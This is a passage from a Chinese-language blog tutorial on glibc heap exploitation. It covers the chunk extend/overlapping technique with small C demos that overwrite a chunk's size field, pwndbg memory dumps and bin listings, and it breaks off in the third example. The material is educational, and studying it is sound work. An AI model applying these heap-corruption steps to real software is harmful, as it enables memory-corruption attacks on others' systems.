RODATA<br>─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────<br>*RAX <span class="hljs-number">0</span>x4042c0 ◂— <span class="hljs-number">0</span><br> RBX <span class="hljs-number">0</span><br> RCX <span class="hljs-number">0</span>x21<br> RDX <span class="hljs-number">0</span><br> RDI <span class="hljs-number">0</span><br>*RSI <span class="hljs-number">0</span>x4042d0 ◂— <span class="hljs-number">0</span><br> R8 <span class="hljs-number">0</span>x21001<br>*R9 <span class="hljs-number">0</span>x4042c0 ◂— <span class="hljs-number">0</span><br> R10 <span class="hljs-number">0</span>xfffffffffffff000<br> R11 <span class="hljs-number">0</span>x7ffff7e1ace0 (main_arena+<span class="hljs-number">96</span>) —▸ <span class="hljs-number">0</span>x4042d0 ◂— <span class="hljs-number">0</span><br> R12 <span class="hljs-number">0</span>x7fffffffdcf8 —▸ <span class="hljs-number">0</span>x7fffffffdfb5 ◂— <span class="hljs-number">0</span>x657a2f656d6f682f ('/home/ze')<br> R13 <span class="hljs-number">0</span>x401156 (main) ◂— endbr64<br> R14 <span class="hljs-number">0</span>x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ <span class="hljs-number">0</span>x401120 (__do_global_dtors_aux) ◂— endbr64<br> R15 <span class="hljs-number">0</span>x7ffff7ffd040 (_rtld_global) —▸ <span class="hljs-number">0</span>x7ffff7ffe2e0 ◂— <span class="hljs-number">0</span><br> RBP <span class="hljs-number">0</span>x7fffffffdbe0 ◂— <span class="hljs-number">1</span><br> RSP <span class="hljs-number">0</span>x7fffffffdbd0 {ptr1} ◂— <span class="hljs-number">0</span>x1000<br>*RIP <span class="hljs-number">0</span>x40117a (main+<span class="hljs-number">36</span>) ◂— mov rax, qword ptr [rbp - <span class="hljs-number">8</span>]<br>──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-<span class="hljs-number">64</span> / set emulate on ]───────────────────────────────────────────────────────────────────────────────<br>b+ <span class="hljs-number">0</span>x40116c <main+<span class="hljs-number">22</span>> mov qword ptr [rbp - <span class="hljs-number">8</span>], rax [{ptr}] <= <span class="hljs-number">0</span>x4042a0 ◂— <span class="hljs-number">0</span><br> <span class="hljs-number">0</span>x401170 <main+<span class="hljs-number">26</span>> mov edi, <span class="hljs-number">0</span>x10 EDI => <span class="hljs-number">0</span>x10<br> <span class="hljs-number">0</span>x401175 <main+<span class="hljs-number">31</span>> call malloc@plt <malloc@plt><br><br> ► <span class="hljs-number">0</span>x40117a <main+<span class="hljs-number">36</span>> mov rax, qword ptr [rbp - <span class="hljs-number">8</span>] RAX, [{ptr}] => <span class="hljs-number">0</span>x4042a0 ◂— <span class="hljs-number">0</span><br> <span class="hljs-number">0</span>x40117e <main+<span class="hljs-number">40</span>> sub rax, <span class="hljs-number">8</span> RAX => <span class="hljs-number">0</span>x404298 (<span class="hljs-number">0</span>x4042a0 - <span class="hljs-number">0</span>x8)<br> <span class="hljs-number">0</span>x401182 <main+<span class="hljs-number">44</span>> mov qword ptr [rax], <span class="hljs-number">0</span>x41 [<span class="hljs-number">0</span>x404298] <= <span class="hljs-number">0</span>x41<br>b+ <span class="hljs-number">0</span>x401189 <main+<span class="hljs-number">51</span>> mov rax, qword ptr [rbp - <span class="hljs-number">8</span>] RAX, [{ptr}] => <span class="hljs-number">0</span>x4042a0 ◂— <span class="hljs-number">0</span><br> <span class="hljs-number">0</span>x40118d <main+<span class="hljs-number">55</span>> mov rdi, rax RDI => <span class="hljs-number">0</span>x4042a0 ◂— <span class="hljs-number">0</span><br>b+ <span class="hljs-number">0</span>x401190 <main+<span class="hljs-number">58</span>> call free@plt <free@plt><br><br>b+ <span class="hljs-number">0</span>x401195 <main+<span class="hljs-number">63</span>> mov edi, <span class="hljs-number">0</span>x30 EDI => <span class="hljs-number">0</span>x30<br> <span class="hljs-number">0</span>x40119a <main+<span class="hljs-number">68</span>> call malloc@plt <malloc@plt><br>────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────<br>In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:<span class="hljs-number">10</span><br> <span class="hljs-number">5</span> void *ptr,*ptr1;<br> <span class="hljs-number">6</span><br> <span class="hljs-number">7</span> ptr=malloc(<span class="hljs-number">0</span>x10);//分配第一个<span class="hljs-number">0</span>x10的chunk<br> <span class="hljs-number">8</span> malloc(<span class="hljs-number">0</span>x10);//分配第二个<span class="hljs-number">0</span>x10的chunk<br> <span class="hljs-number">9</span><br> ► <span class="hljs-number">10</span> *(long long *)((long long)ptr-<span class="hljs-number">0</span>x8)=<span class="hljs-number">0</span>x41;// 修改第一个块的size域<br> <span class="hljs-number">11</span><br> <span class="hljs-number">12</span> free(ptr);<br> <span class="hljs-number">13</span> ptr1=malloc(<span class="hljs-number">0</span>x30);// 实现 extend,控制了第二个块的内容<br> <span class="hljs-number">14</span> return <span class="hljs-number">0</span>;<br> <span class="hljs-number">15</span> }<br>────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────<br><span class="hljs-number">00</span>:<span class="hljs-number">0000</span>│ rsp <span class="hljs-number">0</span>x7fffffffdbd0 {ptr1} ◂— <span class="hljs-number">0</span>x1000<br><span class="hljs-number">01</span>:<span class="hljs-number">0008</span>│-<span class="hljs-number">008</span> <span class="hljs-number">0</span>x7fffffffdbd8 {ptr} —▸ <span class="hljs-number">0</span>x4042a0 ◂— <span class="hljs-number">0</span><br><span class="hljs-number">02</span>:<span class="hljs-number">0010</span>│ rbp <span class="hljs-number">0</span>x7fffffffdbe0 ◂— <span class="hljs-number">1</span><br><span class="hljs-number">03</span>:<span class="hljs-number">0018</span>│+<span class="hljs-number">008</span> <span class="hljs-number">0</span>x7fffffffdbe8 —▸ <span class="hljs-number">0</span>x7ffff7c29d90 (__libc_start_call_main+<span class="hljs-number">128</span>) ◂— mov edi, eax<br><span class="hljs-number">04</span>:<span class="hljs-number">0020</span>│+<span class="hljs-number">010</span> <span class="hljs-number">0</span>x7fffffffdbf0 ◂— <span class="hljs-number">0</span><br><span class="hljs-number">05</span>:<span class="hljs-number">0028</span>│+<span class="hljs-number">018</span> <span class="hljs-number">0</span>x7fffffffdbf8 —▸ <span class="hljs-number">0</span>x401156 (main) ◂— endbr64<br><span class="hljs-number">06</span>:<span class="hljs-number">0030</span>│+<span class="hljs-number">020</span> <span class="hljs-number">0</span>x7fffffffdc00 ◂— <span class="hljs-number">0</span>x1ffffdce0<br><span class="hljs-number">07</span>:<span class="hljs-number">0038</span>│+<span class="hljs-number">028</span> <span class="hljs-number">0</span>x7fffffffdc08 —▸ <span class="hljs-number">0</span>x7fffffffdcf8 —▸ <span class="hljs-number">0</span>x7fffffffdfb5 ◂— <span class="hljs-number">0</span>x657a2f656d6f682f ('/home/ze')<br>──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────<br> ► <span class="hljs-number">0</span> <span class="hljs-number">0</span>x40117a main+<span class="hljs-number">36</span><br> <span class="hljs-number">1</span> <span class="hljs-number">0</span>x7ffff7c29d90 __libc_start_call_main+<span class="hljs-number">128</span><br> <span class="hljs-number">2</span> <span class="hljs-number">0</span>x7ffff7c29e40 __libc_start_main+<span class="hljs-number">128</span><br> <span class="hljs-number">3</span> <span class="hljs-number">0</span>x401095 _start+<span class="hljs-number">37</span><br>─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br>pwndbg> x/<span class="hljs-number">10</span>gx <span class="hljs-number">0</span>x4042a0<br><span class="hljs-number">0</span>x4042a0: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x4042b0: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000021<br><span class="hljs-number">0</span>x4042c0: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x4042d0: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000020d31<br><span class="hljs-number">0</span>x4042e0: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br>pwndbg><br></code></pre></td></tr></table></figure><p>当两个 malloc 语句执行之后,堆的内存分布如上; </p><p>之后,我们把 chunk1 的 size 域更改为 0x41,0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为 0x40。在题目中这一步可以由堆溢出得到。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> n<br><br>Breakpoint 4, 0x0000000000401190 <span class="hljs-keyword">in</span> main () at main.c:12<br>12 free(ptr);<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────<br>*RAX 0x4042a0 ◂— 0<br> RBX 0<br> RCX 0x21<br> RDX 0<br>*RDI 0x4042a0 ◂— 0<br> RSI 0x4042d0 ◂— 0<br> R8 0x21001<br> R9 0x4042c0 ◂— 0<br> R10 0xfffffffffffff000<br> R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0<br> R12 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f (<span class="hljs-string">'/home/ze'</span>)<br> R13 0x401156 (main) ◂— endbr64<br> R14 0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64<br> R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0<br> RBP 0x7fffffffdbe0 ◂— 1<br> RSP 0x7fffffffdbd0 {ptr1} ◂— 0x1000<br>*RIP 0x401190 (main+58) ◂— call free@plt<br>──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / <span class="hljs-built_in">set</span> <span class="hljs-built_in">emulate</span> on ]───────────────────────────────────────────────────────────────────────────────<br>b+ 0x40117a <main+36> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0<br> 0x40117e <main+40> sub rax, 8 RAX => 0x404298 (0x4042a0 - 0x8)<br> 0x401182 <main+44> mov qword ptr [rax], 0x41 [0x404298] <= 0x41<br>b+ 0x401189 <main+51> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0<br> 0x40118d <main+55> mov rdi, rax RDI => 0x4042a0 ◂— 0<br> ► 0x401190 <main+58> call free@plt <free@plt><br> ptr: 0x4042a0 ◂— 0<br><br>b+ 0x401195 <main+63> mov edi, 0x30 EDI => 0x30<br> 0x40119a <main+68> call malloc@plt <malloc@plt><br><br>b+ 0x40119f <main+73> mov qword ptr [rbp - 0x10], rax<br> 0x4011a3 <main+77> mov eax, 0 EAX => 0<br> 0x4011a8 <main+82> leave<br>────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────<br>In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:12<br> 7 ptr=malloc(0x10);//分配第一个0x10的chunk<br> 8 malloc(0x10);//分配第二个0x10的chunk<br> 9<br> 10 *(long long *)((long long)ptr-<span class="hljs-number">0</span>x8)=<span class="hljs-number">0</span>x41;// 修改第一个块的size域<br> <span class="hljs-number">11</span><br> ► <span class="hljs-number">12</span> free(ptr);<br> <span class="hljs-number">13</span> ptr1=malloc(<span class="hljs-number">0</span>x30);// 实现 extend,控制了第二个块的内容<br> <span class="hljs-number">14</span> return <span class="hljs-number">0</span>;<br> <span class="hljs-number">15</span> }<br>────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────<br><span class="hljs-number">00</span>:<span class="hljs-number">0000</span>│ rsp <span class="hljs-number">0</span>x7fffffffdbd0 {ptr1} ◂— <span class="hljs-number">0</span>x1000<br><span class="hljs-number">01</span>:<span class="hljs-number">0008</span>│-<span class="hljs-number">008</span> <span class="hljs-number">0</span>x7fffffffdbd8 {ptr} —▸ <span class="hljs-number">0</span>x4042a0 ◂— <span class="hljs-number">0</span><br><span class="hljs-number">02</span>:<span class="hljs-number">0010</span>│ rbp <span class="hljs-number">0</span>x7fffffffdbe0 ◂— <span class="hljs-number">1</span><br><span class="hljs-number">03</span>:<span class="hljs-number">0018</span>│+<span class="hljs-number">008</span> <span class="hljs-number">0</span>x7fffffffdbe8 —▸ <span class="hljs-number">0</span>x7ffff7c29d90 (__libc_start_call_main+<span class="hljs-number">128</span>) ◂— mov edi, eax<br><span class="hljs-number">04</span>:<span class="hljs-number">0020</span>│+<span class="hljs-number">010</span> <span class="hljs-number">0</span>x7fffffffdbf0 ◂— <span class="hljs-number">0</span><br><span class="hljs-number">05</span>:<span class="hljs-number">0028</span>│+<span class="hljs-number">018</span> <span class="hljs-number">0</span>x7fffffffdbf8 —▸ <span class="hljs-number">0</span>x401156 (main) ◂— endbr64<br><span class="hljs-number">06</span>:<span class="hljs-number">0030</span>│+<span class="hljs-number">020</span> <span class="hljs-number">0</span>x7fffffffdc00 ◂— <span class="hljs-number">0</span>x1ffffdce0<br><span class="hljs-number">07</span>:<span class="hljs-number">0038</span>│+<span class="hljs-number">028</span> <span class="hljs-number">0</span>x7fffffffdc08 —▸ <span class="hljs-number">0</span>x7fffffffdcf8 —▸ <span class="hljs-number">0</span>x7fffffffdfb5 ◂— <span class="hljs-number">0</span>x657a2f656d6f682f ('/home/ze')<br>──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────<br> ► <span class="hljs-number">0</span> <span class="hljs-number">0</span>x401190 main+<span class="hljs-number">58</span><br> <span class="hljs-number">1</span> <span class="hljs-number">0</span>x7ffff7c29d90 __libc_start_call_main+<span class="hljs-number">128</span><br> <span class="hljs-number">2</span> <span class="hljs-number">0</span>x7ffff7c29e40 __libc_start_main+<span class="hljs-number">128</span><br> <span class="hljs-number">3</span> <span class="hljs-number">0</span>x401095 _start+<span class="hljs-number">37</span><br>pwndbg> x/<span class="hljs-number">4</span>gx <span class="hljs-number">0</span>x404290<br><span class="hljs-number">0</span>x404290: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000041<br><span class="hljs-number">0</span>x4042a0: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br></code></pre></td></tr></table></figure><blockquote><p>这里小回顾一下chunk的结构,就可以解释为什么是看 <code>0x404290</code> 这个地址了(这个地址是chunk的prev_size,而我们修改的就是size域),下面是一张参考图:</p></blockquote><p><img src="/images/chunk_extend_overlapping/1.png" alt="当前chunk结构"></p><p>执行 free 之后,我们可以看到 chunk2 与 chunk1 合成一个 0x40 大小的 chunk,一起释放了:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> bins<br>tcachebins<br>0x40 [ 1]: 0x4042a0 ◂— 0<br>fastbins<br>empty<br>unsortedbin<br>empty<br>smallbins<br>empty<br>largebins<br>empty<br></code></pre></td></tr></table></figure><p>之后我们通过 malloc(0x30) 得到 chunk1+chunk2 的块,此时就可以直接控制 chunk2 中的内容,我们也把这种状态称为 overlapping chunk。</p><h3 id="基本示例-2:对-inuse-的-smallbin-进行-extend"><a href="#基本示例-2:对-inuse-的-smallbin-进行-extend" class="headerlink" title="基本示例 2:对 inuse 的 smallbin 进行 extend"></a>基本示例 2:对 inuse 的 smallbin 进行 extend</h3><p>通过之前深入理解堆的实现部分的内容,我们得知处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。 以下这个示例中,我们使用 0x80 这个大小来分配堆(作为对比,fastbin 默认的最大的 chunk 可使用范围是 0x70)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">// gcc -g test2.c -o test2</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span> {<br> <span class="hljs-type">void</span> *test, *test1;<br> test = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x80</span>); <span class="hljs-comment">// 分配第一个 0x80 的chunk1</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>); <span class="hljs-comment">// 分配第二个 0x10 的chunk2s</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>); <span class="hljs-comment">// 防止与top chunk合并</span><br> *(<span class="hljs-type">long</span>*)((<span class="hljs-type">long</span>)test<span class="hljs-number">-0x8</span>) = <span class="hljs-number">0xb1</span>;<br> <span class="hljs-built_in">free</span>(test);<br> test1 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0xa0</span>);<br>}<br></code></pre></td></tr></table></figure><p>在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以我们需要额外分配一个 chunk,把释放的块与 top chunk 隔开。</p><p>我们进gdb中观察一下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> b 9<br>Breakpoint 1 at 0x11a6: file main.c, line 9.<br>pwndbg> r<br>·········<br>────────────────────────────────────────────────────────────────────────────────────────<br>In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的smallbin进行extend/main.c:9<br> 4 int <span class="hljs-function"><span class="hljs-title">main</span></span>() {<br> 5 void *<span class="hljs-built_in">test</span>, *test1;<br> 6 <span class="hljs-built_in">test</span> = malloc(0x80); // 分配第一个 0x80 的chunk1<br> 7 malloc(0x10); // 分配第二个 0x10 的chunk2s<br> 8 malloc(0x10); // 防止与top chunk合并<br> ► 9 *(long*)((long)test-<span class="hljs-number">0</span>x8) = <span class="hljs-number">0</span>xb1;<br> <span class="hljs-number">10</span> free(test);<br> <span class="hljs-number">11</span> test1 = malloc(<span class="hljs-number">0</span>xa0);<br> <span class="hljs-number">12</span> }<br>·········<br>────────────────────────────────────────────────────────────────────────────────────────────<br>pwndbg> i r rax<br>rax <span class="hljs-number">0</span>x555555559298 <span class="hljs-number">93824992252568</span><br>pwndbg> x/<span class="hljs-number">30</span>gx <span class="hljs-number">0</span>x555555559298<br><span class="hljs-number">0</span>x555555559298: <span class="hljs-number">0</span>x00000000000000b1 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x5555555592a8: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x5555555592b8: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x5555555592c8: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x5555555592d8: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x5555555592e8: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x5555555592f8: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x555555559308: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x555555559318: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x555555559328: <span class="hljs-number">0</span>x0000000000000021 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x555555559338: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x555555559348: <span class="hljs-number">0</span>x0000000000000021 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x555555559358: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x555555559368: <span class="hljs-number">0</span>x0000000000020ca1 <span class="hljs-number">0</span>x0000000000000000<br><span class="hljs-number">0</span>x555555559378: <span class="hljs-number">0</span>x0000000000000000 <span class="hljs-number">0</span>x0000000000000000<br></code></pre></td></tr></table></figure><p>其中,chunk1如下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs bash">0x555555559298: 0x00000000000000b1 0x0000000000000000<br>0x5555555592a8: 0x0000000000000000 0x0000000000000000<br>0x5555555592b8: 0x0000000000000000 0x0000000000000000<br>0x5555555592c8: 0x0000000000000000 0x0000000000000000<br>0x5555555592d8: 0x0000000000000000 0x0000000000000000<br>0x5555555592e8: 0x0000000000000000 0x0000000000000000<br>0x5555555592f8: 0x0000000000000000 0x0000000000000000<br>0x555555559308: 0x0000000000000000 0x0000000000000000<br>0x555555559318: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>chunk2:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">0x555555559328: 0x0000000000000021 0x0000000000000000<br>0x555555559338: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>用于隔离 top_chunk 的chunk(那它下面那个就是top chunk啦!):</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">0x555555559328: 0x0000000000000021 0x0000000000000000<br>0x555555559338: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>接下来在第10行处下断点,执行<code>*(int *)((int)test-0x8) = 0xb1;</code>这段代码:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> x/30gx 0x555555559298<br>0x555555559298: 0x00000000000000b1 0x0000000555555559<br>0x5555555592a8: 0xe1643fe79a375a5e 0x0000000000000000<br>0x5555555592b8: 0x0000000000000000 0x0000000000000000<br>0x5555555592c8: 0x0000000000000000 0x0000000000000000<br>0x5555555592d8: 0x0000000000000000 0x0000000000000000<br>0x5555555592e8: 0x0000000000000000 0x0000000000000000<br>0x5555555592f8: 0x0000000000000000 0x0000000000000000<br>0x555555559308: 0x0000000000000000 0x0000000000000000<br>0x555555559318: 0x0000000000000000 0x0000000000000000<br>0x555555559328: 0x0000000000000021 0x0000000000000000<br>0x555555559338: 0x0000000000000000 0x0000000000000000<br>0x555555559348: 0x0000000000000021 0x0000000000000000<br>0x555555559358: 0x0000000000000000 0x0000000000000000<br>0x555555559368: 0x0000000000020ca1 0x0000000000000000<br>0x555555559378: 0x0000000000000000 0x0000000000000000<br>pwndbg> bin<br>Ambiguous <span class="hljs-built_in">command</span> <span class="hljs-string">"bin"</span>: binder, bins.<br>pwndbg> bins<br>tcachebins<br>0xb0 [ 1]: 0x5555555592a0 ◂— 0<br>fastbins<br>empty<br>unsortedbin<br>empty<br>smallbins<br>empty<br>largebins<br>empty<br>pwndbg><br>tcachebins<br>0xb0 [ 1]: 0x5555555592a0 ◂— 0<br>fastbins<br>empty<br>unsortedbin<br>empty<br>smallbins<br>empty<br>largebins<br>empty<br>pwndbg><br></code></pre></td></tr></table></figure><p>没有得到预期的结果,根据 <code>tcachebins</code> 猜测是因为使用了新版本的glibc导致,但我们仍然可以根据参考文章中学习其思路;</p><p><img src="/images/chunk_extend_overlapping/2.png" alt="执行`*(int *)((int)test-0x8) = 0xb1;`后chunk结构"></p><p>和前面的例子一样,<code>*(int *)((int)test-0x8) = 0xb1;</code>这段代码也是将chunk1的size部分进行了更改,将原有的0x90扩展到了0xb0。这就导致了chunk2被chunk1所包含。接下来我们在第11行下断点释放chunk1:</p><p><img src="/images/chunk_extend_overlapping/3.png" alt="chunk1释放后chunk结构和bins"></p><p>这里解释一下为什么进的是unsortbin,有两种情况下进unsortbin:</p><ul><li>当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中</li><li>释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中</li></ul><p>那么这个例子就满足第二种情况,不属于fastbin中的空闲块,并且不和top chunk相邻。其实这个例子和第一个例子差不多,因为chunk1和chunk2合并之后的chunk的大小超过了fast bin的最大接收值,所以不进fast bin,并且chunk3的size标志位变成了0,证明前一个块chunk2是一个释放的状态。接下来的过程也是一样的,再次申请一个0xa0大小的chunk时,会从unsort bin中提取。连带着chunk2中的内容也会被提取出来,这样一来再次对chunk1进行操作,从而达到操作chunk2的目的。</p><h3 id="基本示例-3:对-free-的-smallbin-进行-extend"><a href="#基本示例-3:对-free-的-smallbin-进行-extend" class="headerlink" title="基本示例 3:对 free 的 smallbin 进行 extend"></a>基本示例 3:对 free 的 smallbin 进行 extend</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//gcc -g test3 -o test3</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span><span class="hljs-string"><stdio.h></span></span><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span><br>{<br> <span 